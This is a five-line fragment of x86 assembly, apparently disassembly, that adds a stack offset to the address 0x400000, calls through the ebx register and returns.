mov ecx, 0x400000
add ecx, dword [ebp - 0x30]
call ebx
leave
ret